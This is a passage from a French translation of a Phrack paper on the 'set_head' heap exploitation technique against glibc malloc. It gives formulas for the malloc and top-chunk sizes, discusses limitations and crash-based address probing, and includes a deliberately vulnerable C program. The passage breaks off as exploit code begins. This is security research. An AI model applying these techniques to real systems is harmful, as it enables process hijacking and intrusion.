==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x09 of 0x11 |=-----------------------------------------------------------------------=| |=-----------=[ The use of set_head to defeat the wilderness ]=----------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=----=[ By g463 ]=----=| |=----=[ ]=----=| |=-----------------------------------------------------------------------=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| 1 - Introduction 2 - La technique set_head() 2.1 - Un regard vers le passé - la technique "The House of force" 2.2 - Les bases de set_head() 2.3 - Les détails de set_head() 3 - Automatisation 3.1 - Définir les propriété de base 3.2 - Extraire la formule 3.3 - Calculer les valeurs 4 - Limitations 4.1 - Nécessités de deux techniques différentes 4.1.1 - La technique set_head() 4.1.2 La technique "The House of Force" 4.2 - Presque 4 octets arbitraire presque n'importe où 4.2.1 - Tout dans la vie est multiple de 8 4.2.2 - La taille du top chunk doit être plus grande que la taille requise du malloc. 4.2.3 - OU logique avec PREV_INUSE 5 - Mener set_head() aux niveaux supérieurs 5.1 - Écrasements multiples 5.2 - Fuites d'informations 6 - Exemples 6.1 - Scénarios de base 6.1.1.1 - La forme la plus basic de la technique set_head() 6.1.1.2 - Exploit 6.1.2.1 - Écrasements multiples 6.1.2.2 - Exploit 6.2 - Un scénario réel : l'outil file(1) 6.2.1 - Le trou 6.2.2 - Toutes les pièces sont en place 6.2.3 - hanuman.c 7 - Derniers mots 8 - Références --[ 1 - Introduction Beaucoup de papiers ont été publiés par le passé décrivant des techniques sur la façon de prendre avantage du gestionnaire de la mémoire dans la mise en oeuvre de la GNU C Library. Un première technique a été introduite par Solar Designer dans son advisory sur une faille du navigateur Netscape [1]. Depuis lors, beaucoup d'améliorations ont été faites par différentes personnes ([2], [3], [4], [5], [6] pour n'en citer que quelques une). Cependant, il y a toujours une situation qui génère plus de problème que les autres. Quiconque a déjà essayé de prendre avantage de cette situation serait d'accord. Comment prendre le contrôle d'un programme vulnérable quand la seule information critique que vous pouvez écraser est l'entête du wilderness chunk ? La technique set_head est une nouvelle façon d'obtenir une primitive "écrire 4 octets arbitraires quasiment n'importe où". Elle est née d'un bug dans l'outil file(1) que l'auteur n'a pas pu exploiter avec les techniques existantes. Ce papier va présenter les détails de la technique. Il vous montrera aussi comment l'appliquer dans la pratique sur d'autres exploits. Les limitations de la technique seront aussi présentées. Enfin, quelques exemples seront montrés pour mieux comprendre les différents aspects de la technique. --[ 2 - La technique set_head() La plupart du temps, les gens qui écrivent des exploits en utilisant des techniques du malloc ne sont pas au courant des difficultés qu'implique le wilderness chunk[*] jusqu'à ce qu'elle tombent face au problème. Ce n'est à que ce moment exact qu'ils réalisent que les techniques connues (i.e. unlink, etc) n'ont aucun effet dans ce contexte particulier. [*] NDT : Les "chunks" sont des zones de mémoires non allouées par malloc. Le "wilderness chunk" (ou encore le "top chunk") est le dernier des chunk, le plus grand, celui dans lequel on va prendre la mémoire quand les autres ne marchent pas. Il est donc géré différemment des autres. Je garderai les termes anglais par la suite. Comme MaXX l'a déjà dit [3] : "The wilderness chunk is one of the most dangerous apponents of the attacker who tries to exploit heap mismanagement. Because this chunk of memory is handled specially by the dlmalloc internal routines, the attacker will rarely be able to execute arbitrary code if they solely corrupt the boundary tag associated with the wilderness chunk." NDT : "Le wilderness chunk est l'un des adversaires les plus dangereux de l'attaquant qui tente d'exploiter un mauvaise utilisation de la pile. Parce que ce chunk de mémoire est géré différement par les fonctions internes de dlmalloc, l'attaquant sera rarement capable d'exécuter du code arbitraire s'il ne fait que corrompre le marqueur de fin associé au wilderness chunk." ----[ 2.1 - Un regard vers le passé - la technique "The House of force" Pour mieux comprendre les détails de la technique set_head() expliquée dans ce papier, il serait utile de d'abord comprendre ce qui a déjà été fait sur le sujet pour exploiter le top chunk. Ce n'est pas la première fois que l'exploitation du wilderness chunk a été spécifiquement ciblé. Le pionnier de ce type d'exploitation est Phantasma1 Phantasmagoria. Il a d'abord écrit un article dont le titre est "Exploiting the wilderness" sur le sujet en 2004. Les détails de cette technique sont en dehors des considérations de ce papier, mais vous pouvez en apprendre plus là dessus en lisant son papier [5]. Il a tenté un deuxième essai pour exploiter le wilderness chunk dans son excellent papier "Malloc Maleficarum" [4]. Il a appelé sa technique "The House of Force" Pour mieux comprendre la technique set_head(), "The House of Force" est décrite juste après. L'idée derrière "The House of Force" est assez simple mais il y a des étapes spécifiques qui doivent être suivies. Ci-après, vous trouverez un bref résumé de toutes les étapes. Étape 1 : La première étape de "The House of Force" consiste à déborder sur le champ "taille" du top chunk pour faire penser à la librairie malloc qu'il est plus grand qu'en réalité. La taille la meilleure pour le top chunk devrait être 0xffffffff. Voici un schéma ascii de l'agencement de la mémoire au moment du débordement. Notez que le top chunk est "quelque part" dans la pile. 0xbfffffff -> +-----------------+ | | | Pile | | | : : : : . . : : : : | | | | | tas | <--- [Top chunk] | | +-----------------+ | global offset | | table | +-----------------+ | | | | | text | | | | | 0x08048000 -> +-----------------+ Étape 2 : Après ceci, un appel à malloc avec une taille donnée par l'utilisateur devrait être effectué. Avec cet appel, le top chunk sera divisé en deux parties. Une partie sera retournée à l'utilisateur, et l'autre restera un chunk (le top chunk). Le but de cette étape est de déplacer le top chunk juste avant une entrée de la "global offset table". La nouvelle adresse du top chunk est la somme de l'adresse courante du top chunk et la valeur de l'appel à malloc. Cette somme est faite avec les lignes de code suivantes : --[ Dans malloc.c remainder = chunk_at_offset(victim, nb); Après l'appel à malloc, l'agencement de la mémoire devrait ressembler au schéma suivant : 0xbfffffff -> +-----------------+ | | | pile | | | : : : : . . : : : : | | | | | tas | | | +-----------------+ | global offset | | table | +-----------------+<--- [Top chunk] | | | | | text | | | | | 0x08048000 -> +-----------------+ Étape 3 : Enfin, un autre appel à malloc doit être fait. Celui-ci doit être assez grand pour lancer le code du top chunk. Si l'utilisateur à un certain contrôle sur le contenu de ce buffer, il peut alors écraser des entrées dans la global offset table et il peut prendre le contrôle du processus. Regardez la représentation suivantes de l'agencement de la mémoire au moment de l'allocation : 0xbfffffff -> +-----------------+ | | | pile | | | : : : : . . : : : : | | | | | tas |<---- [Top chunk] | |---+ +-----------------+ | | global offset | |- Mémoire allouée | table | | +-----------------+---+ | | | | | text | | | | | 0x08048000 -> +-----------------+ ----[ 2.2 - Les bases de set_head() Maintenant qu'un coup d'oeil des bases de la technique "The House of Force" a été fait, regardons la technique set_head(). L'idée de base derrière cette technique est l'utilisation de la macro set_head() pour écrire quasiment quatre octets arbitraires quasiment n'importe où en mémoire. Cette macro est d'habitude utilisée pour écrire le champ taille d'un chunk mémoire avec une valeur spécifique. Regardons un peu son code : --[ Dans malloc.c: /* Set size/use field */ #define set_head(p, s) ((p)->size = (s)) Cette ligne est très simple à comprendre. Elle prend le chunk mémoire 'p', modifie son champ "taille" et le remplace par la valeur de la variable 's'. Si l'attaquant contrôle ces deux paramètres, il peut être possible de modifier le contenu d'un endroit arbitraire en mémoire avec une valeur que nous contrôlons. Pour lancer un appel particulier à set_head() qui peut mener à cet écrasement arbitraire, deux étapes spécifiques doivent être suivies. Ces étapes sont décrites ci-après. Première étape : La première étape de la technique set_head() consiste à déborder le champ taille du top chunk pour faire croire à la librairie malloc qu'il est plus grand qu'en réalité. La valeur spécifique avec laquelle vous déborderez dépendra de paramètres de la situation exploitable. Voici un schéma ascii de l'agencement de la mémoire au moment du débordement. Notez que le top chunk est "quelque part" en mémoire. 0xbfffffff -> +-----------------+ | | | pile | | | : : : : . . : : : : | | | | | tas |<--- [Top chunk] | | +-----------------+ | | | données | | | +-----------------+ | | | | | text | | | | | 0x08048000 -> +-----------------+ Seconde étape : Après ceci, un appel à malloc avec une valeur donnée par l'utilisateur devrait être effectué. Avec cet appel, le top chunk sera divisé en deux parties. une partie sera retournée à l'utilisateur, l'autre restera un chunk (le top chunk). Le but de cette étape est de déplacer le top chunk avant un endroit que vous voulez écraser. Cet endroit doit être sur la pile et vous comprendrez pourquoi dans la section 4.2.2. Pendant cette étape, le code de malloc va mettre calculer la nouvelle taille du top chunk avec la macro set_head(). Regardez le schéma suivant pour mieux comprendre l'agencement mémoire au moment de l'écrasement : 0xbfffffff -> +-----------------+ | | | pile | | | +-----------------+ | size du topchunk| +-----------------+ |prev_size not use| +-----------------+<--- Top chunk | | : : : : . . : : : : | | | | | tas | | | +-----------------+ | | | données | | | +-----------------+ | | | | | text | | | | | 0x08048000 -> +-----------------+ Si vous contrôlez la nouvelle adresse du top chunk et sa nouvelle taille, vous pouvez avoir une primitive "écrire presque 4 octets arbitraire presque n'importe où". ----[ 2.3 - Les détails de set_head() La macro set_head() est utilisée beaucoup de fois dans la librairie malloc(). Cependant, elle est utilisée à un endroit particulièrement intéressant où il est possible d'influencer ses paramètres. Cette influence permettra à l'attaquant d'écraser 4 octets en mémoire par une valeur qu'il contrôle. Quand il y a un appel à malloc, différentes méthodes sont testées pour allouer la mémoire requise. MaXX a fait un très bon travaille en expliquant l'algorithme de malloc dans la section 3.5.1 de son papier [3]. Lire son texte est particulièrement suggéré avant de continuer ici. Voici les points principaux de l'algorithme : 1. Essayer de trouver un chunk dans le bin correspondant à la taille requise ; 2. Essayer d'utiliser le chunk restant; 3. Essayer de trouver un chunk dans les bin réguliers. Si ces trois étapes échouent, des choses intéressantes ont lieu. La fonction malloc tente de diviser le top chunk. La portion de code "use_top" est alors appelée. C'est dans cette portion de code qu'il est possible de prendre avantage d'un appel à set_head(). Analysons le code use_top : --[ Dans malloc.c 01 Void_t* 02 _int_malloc(mstate av, size_t bytes) 03 { 04 INTERNAL_SIZE_T nb; /* normalized request size */ 05 06 mchunkptr victim; /* inspected/selected chunk */ 07 INTERNAL_SIZE_T size; /* its size */ 08 09 mchunkptr remainder; /* remainder from a split */ 10 unsigned long remainder_size; /* its size */ 11 12 13 checked_request2size(bytes, nb); 14 15 [ ... ] 16 17 use_top: 18 19 victim = av->top; 20 size = chunksize(victim); 21 22 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 23 remainder_size = size - nb; 24 remainder = chunk_at_offset(victim, nb); 25 av->top = remainder; 26 set_head(victim, nb | PREV_INUSE | 27 (av != &main_arena ? NON_MAIN_ARENA : 0)); 28 set_head(remainder, remainder_size | PREV_INUSE); 29 30 check_malloced_chunk(av, victim, nb); 31 return chunk2mem(victim); 32 } Toute la magie à lieu à la ligne 28. En forçant un contexte particulier dans l'application, il est possible de contrôler les paramètres de set_head et donc d'écraser quasiment n'importe quelle adresse mémoire avec 4 octets arbitraires. Regardons maintenant comment il est possible de contrôler ces deux paramètres, qui sont "remainder" et "remainder_size" : 1. Comment avoir le contrôle de "remainder_size" : a. À la ligne 13, "nb" est remplis avec la taille des données normalisée. Cette taille est la valeur passée lors de l'appel à malloc. L'attaquant devrait avoir le contrôle de la valeur pour cet appel à malloc. b. Souvenez-vous que cette technique nécessite que le champ taille du top chunk soit écrasée par le débordement. Aux lignes 19 et 20, la valleur du champ taille écrasé du top chunk est chargée dans "size". c. À la ligne 22, une vérification est faite pour s'assurer que le top chunk est assez large pour répondre à la requête de malloc. L'attaquant à besoin que cette condition valent vrai pour atteindre la macro set_head() de la ligne 28. d. À la ligne 23, la taille requise de l'appel à malloc est soustraite à la taille du top chunk. Le reste est stocké dans "remainder_size". 2. Comment avoir le contrôle de "remainder" : a. À la ligne 13, "nb" est remplis avec la taille des données normalisée. Cette taille est la valeur passée lors de l'appel à malloc. L'attaquant devrait avoir le contrôle de la valeur pour cet appel à malloc. b. Ensuite, à la ligne 19, la variable "victim" est remplie avec l'adresse du top chunk. c. Après ça, à la ligne 24, on appelle chunk_at_offset(). Cette macro ajoute le contexte de "nb" à la valeur de "victim". Le résultat est stocké dans "remainder". En fin, à la ligne 28, la macro set_head() modifie le champ taille du faux chunk restant et le remplis avec le contenu de la variable "remainder_size". C'est comme ça que vous obtenez votre primitive "écrire presque 4 octets arbitraire presque n'importe où". --[ 3 - Automatisation Il a été expliqué en section 2.3 que les variables "remainder" et "remainder_size" seront utilisée comme paramètres de la macro set_head. Les étapes suivantes vont vous expliquer comment procéder pour avoir les valeurs désirées dans ces variables. ---- [ 3.1 - Définir les propriété de base Avant de tenter d'exploiter un trou de sécurité avec la technique set_head, l'attaquant à besoin de définir les paramètres du contexte vulnérable. Ces paramètres sont les suivants : 1. L'endroit de retour : C'est l'endroit en mémoire où vous voulez écrire. Il sera souvent appelé "retloc" [NDT : "Return Location"] dans la suite de ce papier. 2. L'adresse de retour : c'est le contexte que vous écrirez dans votre endroit de retour. Normalement, ça sera une adresse mémoire qui pointe sur votre shellcode. Il sera souvent appelé "retadr" [NDT : "Return Address"] dans ce papier. 3. L'endroit du top chunk : Pour utiliser cette technique, vous devez connaître l'emplacement exact du top chunk dans la mémoire. Cet endroit sera souvent appelé "toploc" [NDT : Top chunk location] dans ce papier. ----[ 3.2 - Extraire la formule L'attaquant à le contrôle de deux choses pendant l'exploitation. Tout d'abord, le contenu du champ taille du top chunk et ensuite, le paramètre taille de l'appel à malloc. Les valeurs que l'attaquant choisi pour ces valeurs déterminera le contenu exact des variables "remainder" et "remainder_size" utilisées plus tard par la macro set_head(). Voici deux formules qui aideront l'attaquant à trouver les valeurs appropriées. 1. Comment avoir la valeur pour le paramètre de malloc : a. La ligne suivante est directement extraite du code de malloc.c : remainder = chunk_at_offset(victim, nb) b. "nb" est la valeur normalisée de l'appel à malloc. C'est le résultat de la macro request2size(). Pour rendre les choses plus simples, ajoutons 8 à cette valeur pour être tranquilles avec cette macro : remainder = chunk_at_offset(victim, nb + 8) c. chunk_at_offset() ajoute la taille normalisée "nb" à l'endroit du top chunk : remainder = toploc + (nb + 8) e. "remainder" est l'adresse de retour (i.e. "retloc") et "nb" est la taille de malloc (i.e. "malloc_size") : retloc = toploc + (malloc_size + 8) d. isolez la variable "malloc_size" pour avoir la formule finale : malloc_size = (retloc - toploc - 8) [ NDT : Dans la vo, e est bien avant d ... ] 2. La deuxième formule permet d'avoir la nouvelle taille du top chunk a. La ligne suivante est directement extraite du code de malloc.c : remainder_size = size - nb; b. "size" est la taille du top chunk (i.e. "topchunk_size"), et "nb" est le paramètre de malloc normalisé (i.e. "malloc_size") : remainder_size = topchunk_size - malloc_size c. "remainder_size" est en fait l'adresse de retour (i.e. "retadr") : retadr = topchunk_size - malloc_size d. Isolez "topchunk_size" pour avoir la formule finale : topchunk_size = retadr + malloc_size e. topchunk_size aura ses trois bits de poids faible mis à 0 par la macro chunksize(). Considérons ça comme ajouter 8 à la partie droite de l'équation : topchunk_size = (retadr + malloc_size + 8) g. Prenez en considération que le flag PREV_INUSE sera mis dans la macro set_head : topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE [ NDT : dans la vo, cette fois, d est avant e, mais f n'existe pas ] ----[ 3.3 - Calculer les valeurs Vous avez maintenant les deux formules de base : 1. malloc_size = (retloc - toploc - 8) 2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE Vous pouvez maintenant continuer et trouver les valeurs exactes que vous mettrez dans votre exploit. Pour faciliter l'intégration de ces formules dans le code de votre exploit, vous pouvez utiliser la fonction set_head_compute() qu'on trouve dans le code de l'exploit contre l'outil file(1) (cf. section 6.2.3). Voici la signature de la fonction : struct sethead * set_head_compute (unsigned int retloc, unsigned int retadr, unsigned int toploc) La structure retournée par la fonction set_head_compute() est définie de cette façon : struct sethead { unsigned long topchunk_size; unsigned long malloc_size; } En donnant à cette fonction votre endroit de retour, votre adresse de retour et votre endroit du top chunk, elle va calculer la taille exacte de l'appel à malloc et la taille du top chunk à utiliser dans votre exploit. Elle va aussi vous dire s'il est possible d'exécuter l'opération d'écriture requise en fonction de l'adresse de retour et l'endroit de retour que vous avez choisi. --[ 4 - Limitations Au moment d'écrire ce papier, il n'y avait aucune manière simple et facile d'exploiter un débordement dans le tas quand le top chunk était impliqué. Chaque technique d'exploitation nécessitait un contexte particulier pour fonctionner. La technique set_head n'est pas différente. Elle a certaines nécessités pour fonctionner comme il faut. Ce n'est pas non plus une réelle primitive "écrire 4 octet arbitraires n'importe où". En fait, ça serait plutôt "écrire presque 4 octets arbitraire presque n'importe où". ----[ 4.1 - Nécessités de deux techniques différentes Des éléments spécifiques doivent être présents pour exploiter une situation dans laquelle le wilderness chunk est impliqué. Ces éléments tendent à imposer beaucoup de contraintes quand on essaye un exploit sur un programme. Les nécessités pour la technique set_head sont listées juste après, suivies par celles de la technique "The House of Force". Comme vous pourrez le voir, chaque technique a ses propres "pros and cons" [*]. [*] NDT : "pros and cons" est une abréviation anglaise pour l'expression latine "pro et contra". Qui signifie "avantages et inconvénient" dans notre contexte. ------[ 4.1.1 - La technique set_head() Nécessités minimum : 1. Le champ taille du top chunk doit être écrasé avec une valeur que l'attaquant contrôle ; 2. Ensuite, il doit y avoir un appel à malloc avec un paramètre que l'attaquant contrôle ; Cette technique vous permettra d'écrire presque 4 octets arbitraires presque n'importe où. ------[ 4.1.2 La technique "The House of Force" Nécessités minimum : 1. Le champ taille du top chunk doit être écrasé avec une valeur très grande ; 2. ensuite, il doit y avoir un premier appel à malloc avec une très grande taille. Un point important est que ce buffer alloué ne devrait être libéré qu'après la troisième étape. 3. Enfin, il devrait y avoir un deuxième appel à malloc. Ce buffer devrait ensuite être remplis avec des données de l'utilisateur. Cette technique vous permettra, dans le meilleur cas, d'écraser n'importe quelle région en mémoire avec une chaîne de taille arbitraire que vous contrôlez. ----[ 4.2 - Presque 4 octets arbitraire presque n'importe où Cette technique set_head n'est pas vraiment "écrire 4 octets arbitraires n'importe où". Il y a quelques restrictions dans malloc.c qui limitent grandement les valeurs possibles que l'attaquant peut utiliser pour l'endroit de retour et l'adresse de retour dans un exploit. Il est toujours possible de lancer du code arbitraire si vous choisissez prudement vos valeurs. Voici les trois restrictions principales de cette technique : ------[ 4.2.1 - Tout dans la vie est multiple de 8 Un désavantage de la technique set_head est la présence de macro qui s'assurent que les endroits mémoires et les valeurs soient multiples de 8 octets. Ces macros sont : - checked_request2size() et - chunksize() In fine, ça aura une certaine influence sur la sélection de l'endroit et l'adresse de retour. Les adresses mémoire que vous pouvez écraser avec la technique set_head doivent être alignées sur une borne de 8 octets. Les endroits intéressant où écraser des valeurs dans la pile sont incluent souvent l'EIP sauvegardé d'un cadre de pile [NDT : stack frame], ou un pointeur de fonction. Ces pointeurs sont alignés sur une borne de 4 octets, donc, avec cette technique, vous ne pourrez modifier qu'une adresse mémoire ou deux. L'adresse de retour aura aussi besoin d'être multiple de 8 (sans compter le OU logique avec PREV_INUSE). Normalement, l'attaquant aura la possibilité de fournir un tampon de NOP juste avant son shellcode, ce n'est donc pas un gros problème. ------[ 4.2.2 - La taille du top chunk doit être plus grande que la taille requise du malloc. C'est le désavantage principal de la technique set_head. Pour que le code du top chunk soit lancé et rendent une zone mémoire, il y a une vérification avant que le code soit exécuté : --[ Dans malloc.c if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { En bref, cette ligne requiert que la taille du top chunk soit plus grande que la taille requise lors de l'appel à malloc. Puisque les variables "size" et "nb" sont calculée à partir de l'endroit de retour, l'adresse de retour et l'endroit du top chunk, ceci limitera grandement le contenu et l'endroit de l'opération d'écriture arbitraire. Mais il y a quand même une combinaison valide d'adresse de retour et d'endroit de retour. Voyons les valeurs pour "size" et "nb" pour un endroit de retour, une adresse de retour donnés. Cherchons s'il y a des situations où "size" est plus grande que "nb". Si on suppose que le top chunk est static et se trouve en 0x080614f8 : +------------+------------++------------+------------+ | endroit de | adresse de || size | nb | | retour | retour || | | +------------+------------++------------+------------+ | 0x0804b150 | 0x08061000 || 134523993 | 4294876240 | | 0x0804b150 | 0xbffffbaa || 3221133059 | 4294876240 | | 0xbffffaaa | 0xbffffbaa || 2012864861 | 3086607786 | | 0xbffffaaa | 0x08061000 || 3221222835 | 3086607786 | <- !!!!! +------------+------------++------------+------------+ Comme vous pouvez le voir dans ce tableau, la seule fois où vous avez "size" plus grande que "nb" est quand votre endroit de retour est quelque part dans la pile et quand l'adresse de retour est quelque part dans le tas. ------[ 4.2.3 - OU logique avec PREV_INUSE Quand la macro set_head() est appelée, "remainder_size", qui est l'adresse de retour, sera altéré par un OU logique avec PREV_INUSE : --[ Dans malloc.c #define PREV_INUSE 0x1 set_head(remainder, remainder_size | PREV_INUSE); Il a été dit dans la section 4.2.1 que l'adresse de retour sera toujours multiple de 8 à cause de la normalisation par une macro. Avec le OU logique avec PREV_INUSE, ça sera un multiple de 8, plus un. Avec un tampon de nop's, ce problème est résolu. Comparée aux deux précédentes, cette restriction est très faible. --[ 5 - Mener set_head() aux niveaux supérieurs C'est une règle générale, les hackers essayent de rendre leurs exploits aussi fiables que possibles. Exploiter une vulnérabilité dans un laboratoire confiné et le faire dans la nature sont deux choses différentes. Cette section va essayer de vous présenter quelques techniques pour améliorer la fiabilité de la techniques set_head. ----[ 5.1 - Écrasements multiples une façon de rendre l'exploitation beaucoup plus fiable est d'utiliser plusieurs écrasements. En fait, avoir la possibilité d'écraser une zone mémoire avec 4 octets est bien, mais la possibilité d'écrire plusieurs fois dans la mémoire est encore mieux [8]. Être capable d'écraser plusieurs endroits dans la mémoire avec set_head va augmenter vos chances de trouver un endroit de retour valide dans la pile. Un gros avantage de la technique set_head est qu'elle ne corrompt pas les informations internes de malloc qui empêcherait le programme de fonctionner correctement. Cet avantage vous permet d'écraser sans problème plus qu'un endroit en mémoire. Pour mettre correctement cette technique en place, l'attaquant aura besoin d'écrire ses adresses d'écrasement au sommet de la pile et continuer vers le bas jusqu'à récupérer le contrôle du programme. Voici les adresses possibles que set_head() vous permet d'écraser sur la pile : 1: 0xbffffffc 2: 0xbffffff4 3: 0xbfffffec 4: 0xbfffffe4 5: 0xbfffffdc 6: 0xbfffffd4 7: 0xbfffffcc 8: 0xbfffffc4 9: ... Finalement, l'attaquant tombera sur un endroit en mémoire qui est un EIP sauvegardé dans un cadre de pile. S'il est assez chanceux, cet EIP sauvegardé sera dépilé dans le registre EIP. Souvenez-vous que pour un écrasement fructueux, l'attaquant doit faire deux choses : 1. Écraser le top chunk avec une valeur spécifique; 2. Faire un appel à malloc avec une valeur spécifique. D'après les deux formules qu'on a trouvé en section 3.3, calculons les valeurs pour la taille du top chunk et la taille de l'appel à malloc pour chaque opération d'écrasement. Prenons les valeurs suivantes comme cas d'exemple : Endroit du top chunk : 0x08050100 Adresse de retour : 0x08050200 Endroit de retour : Décrémente depuis 0xbffffffc jusqu'à 0xbfffffc4 +------------++------------+------------+ | endroit de || taille du | taille du | | retour || top chunk | malloc | +------------++------------+------------+ +------------++------------+------------+ | 0xbffffffc || 3221225725 | 3086679796 | | 0xbffffff4 || 3221225717 | 3086679788 | | 0xbfffffec || 3221225709 | 3086679780 | | 0xbfffffe4 || 3221225701 | 3086679772 | | 0xbfffffdc || 3221225693 | 3086679764 | | 0xbfffffd4 || 3221225685 | 3086679756 | | 0xbfffffcc || 3221225677 | 3086679748 | | 0xbfffffc4 || 3221225669 | 3086679740 | | ... || ... | ... | +------------++------------+------------+ En regardant ce tableau, vous pouvez déterminer que pour chaque opération d'écrasement, l'attaquant devra écraser la taille du top chunk avec une nouvelle valeur et faire un appel à malloc avec une taille arbitraire. Est-ce qu'il serait possible d'améliorer un peu tout ça ? Ça serait génial si la seule chose qu'on doit changer entre deux écrasement soit la taille de l'appel à malloc, sans toucher à la taille du top chunk. En fait, c'est faisable. Regardez de plus près à la fonction utilisée pour calculer malloc_size et topchunk_size. Disons que l'attaquant n'a qu'une seule possibilité pour écraser la taille du top_chunk, est-ce qu'il est toujours possible de faire plusieurs écrasement en utilisant la technique set_head, en gardant la même taille du top chunk ? 1. malloc_size = (retloc - toploc - 8) 2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE Si vous regardez comment "topchunk_size" est calculé, ça semble possible. En changeant la valeur de "retloc", ça va affecter "malloc_size". Ensuite, "malloc_size" est utilisé pour calculer "topchunk_size". En jouant avec "retadr" dans la deuxième formule, vous pouvez toujours garder le même "topchunk_size". Regardons le même exemple, mais cette fois, avec une adresse de retour qui varie. Pendant que l'endroit de retour décrémente de 8, incrémentons l'adresse de retour par 8. +------------+-----------++------------+------------+ | endroit de | adresse de|| taille du | taille du | | retour | retour || top chunk | malloc | +------------+-----------++------------+------------+ +------------+-----------++------------+------------+ | 0xbffffffc | 0x8050200 || 3221225725 | 3086679796 | | 0xbffffff4 | 0x8050208 || 3221225725 | 3086679788 | | 0xbfffffec | 0x8050210 || 3221225725 | 3086679780 | | 0xbfffffe4 | 0x8050218 || 3221225725 | 3086679772 | | 0xbfffffdc | 0x8050220 || 3221225725 | 3086679764 | | 0xbfffffd4 | 0x8050228 || 3221225725 | 3086679756 | | 0xbfffffcc | 0x8050230 || 3221225725 | 3086679748 | | 0xbfffffc4 | 0x8050238 || 3221225725 | 3086679740 | | ... | ... || ... | ... | +------------+-----------++------------+------------+ Vous pouvez voir que la taille du top chunk est toujours la même. D'un autre côté, l'adresse de retour change à chaque écrasement. L'attaquant doit avec un tampon de nop assez grand pour s'adapter à cette variation. Allez voir la section 6.1.2.1 pour un exemple de scénario vulnérable exploitable avec plusieurs écrasements. ----[ 5.2 - Fuites d'informations Comme il a été dit dans le "Shellcoder's Handbook" [9] : "An information leak can make even a difficult bug possible" [NDT : ...]. La plupart du temps, les gens qui écrivent des exploits essaient de les rendres les plus fiables possibles. Si un hacker, utilisant une technique de fuite d'information, peut améliorer la fiabilité de la technique set_head, alors, c'est très bien. La technique est assez difficile à utiliser parce qu'elle dépend d'endroit mémoires inconnus; qui sont : - l'endroit de retour - l'endroit du top_chunk - l'adresse de retour Quand il y a une opération d'écrasement, si l'attaquant est capable de savoir si le programme à crashé ou pas, il peut retourner ça à son avantage. En fait, cette connaissance peut l'aider à trouver un paramètre de la situation exploitable, qui est l'endroit du top chunk. La théorie derrière cette technique est simple. Si l'attaquant connaît l'adresse réelle du top chunk, il sera capable d'écrire à l'adresse 0xbffffffc mais pas à l'adresse 0xc0000004. En fait, une opération d'écriture à l'adresse 0xbffffffc va fonctionner parce que cette adresse est dans la pile, et son but est de stocker des variables d'environnement du programme. Ça n'affecte pas énormément le comportement du programme, il continuera donc à fonctionner correctement. D'un autre côté, si l'attaquant écrit en mémoire à partir de l'adresse 0xc0000000, il y aura un "segmentation fault" parce que cette zone mémoire n'est pas mappée. Après cette violation, le programme va crasher. Pour prendre avantage de ce comportement, l'attaquant va devoir faire une suite d'opération d'écritures tout en incrémentant ou décrémentant l'endroit du top chunk. Pour chaque endroit du top chunk tenté, il devrait y avoir 6 opérations d'écriture. voici les paramètres de la situation exploitable à utiliser pendant les 6 opérations d'écriture. Le résultat attendu est dans la colonne de droite du tableau. Si vous obtenez ces résultats, alors, la valeur utilisée pour l'endroit du top chunk est la bonne. +------------+------------++--------------+ | endroit de | adresse de || | | retour | retour || segfault ? | +------------+------------++--------------+ +------------+------------++--------------+ | 0xc0000014 | 0x07070707 || Oui | | 0xc000000c | 0x07070707 || Oui | | 0xc0000004 | 0x07070707 || Oui | | 0xbffffffc | 0x07070707 || Non | | 0xbffffff4 | 0x07070707 || Non | | 0xbfffffec | 0x07070707 || Non | +------------+------------++--------------+ Si les six écritures on fait segfaulter le programme à chaque fois, alors l'attaquant essaye sûrement d'écrire après 0xbffffffc ou en dessous des limites de la pile. si les 6 opération ont réussi et que le programme n'a pas crashé, ça veut probablement dire que l'attaquant a écrasé des valeurs dans la pile. Dans ce cas, décrémentez la valeur du top chunk à utiliser. --[ 6 - Exemples La meilleure manière d'apprendre quelque chose de nouveau est probablement avec l'aide d'exemple. Voici des exemples de codes vulnérables et leurs exploits. Une approche basée sur scénario est prise ici pour démontrer l'exploitabilité d'une situation. Finalement, l'exploitabilité d'un contexte peut être défini par des caractéristiques. En plus, l'application de la technique set_head() sur un exemple de la vie réelle est montré avec une vulnérabilité dans l'outil file(1). La technique set_head() a permis d'exploiter cette vulnérabilité spécifique. ----[ 6.1 -Scénarios de base Pour simplifier les choses, il est utile de définir des contextes exploitables en terme de scénarios. Pour chaque scénario spécifique, il devrait y avoir une manière spécifique de l'exploiter. Une fois que le lecteur aura appris ces scénarios, il peut alors leur faire correspondre des situations vulnérables dans les logiciels. Il pourra alors savoir exactement quelle approche utiliser pour exploiter au mieux la vulnérabilité. ------[ 6.1.1.1 - La forme la plus basic de la technique set_head() Ce scénario est la forme la plus basique d'application de la technique set_head(). C'est l'approche qui a été utilisée dans l'exploit pour l'outil file(1). --------------------------- scenario1.c ----------------------------------- #include #include int main (int argc, char *argv[]) { char *buffer1; char *buffer2; unsigned long size; /* [1] */ buffer1 = (char *) malloc (1024); /* [2] */ sprintf (buffer1, argv[1]); size = strtoul (argv[2], NULL, 10); /* [3] */ buffer2 = (char *) malloc (size); return 0; } --------------------------- end of scenario1.c ---------------------------- Voici une brève description des lignes importantes du code : [1] : Le top chunk est divisé et une région mémoire de 1024 octets est demandée. [2] : On fait un appel à sprintf. On ne vérifie pas si le buffer de destination est assez grand. Le top chunk peut donc être débordé ici. [3] : On fait un appel à malloc avec une taille donnée par l'utilisateur. ------[ 6.1.1.2 - Exploit --------------------------- exp1.c ---------------------------------------- /* Exploit for scenario1.c */ #include #include #include #include // Les #define suivants sont issus de malloc.c. Ils sont utilisés // pour calculer les valeurs de taille pour malloc et pour le top chunk. #define PREV_INUSE 0x1 #define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGNMENT (2 * SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE 16 #define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)) #define request2size(req) (((req) + SIZE_SZ + 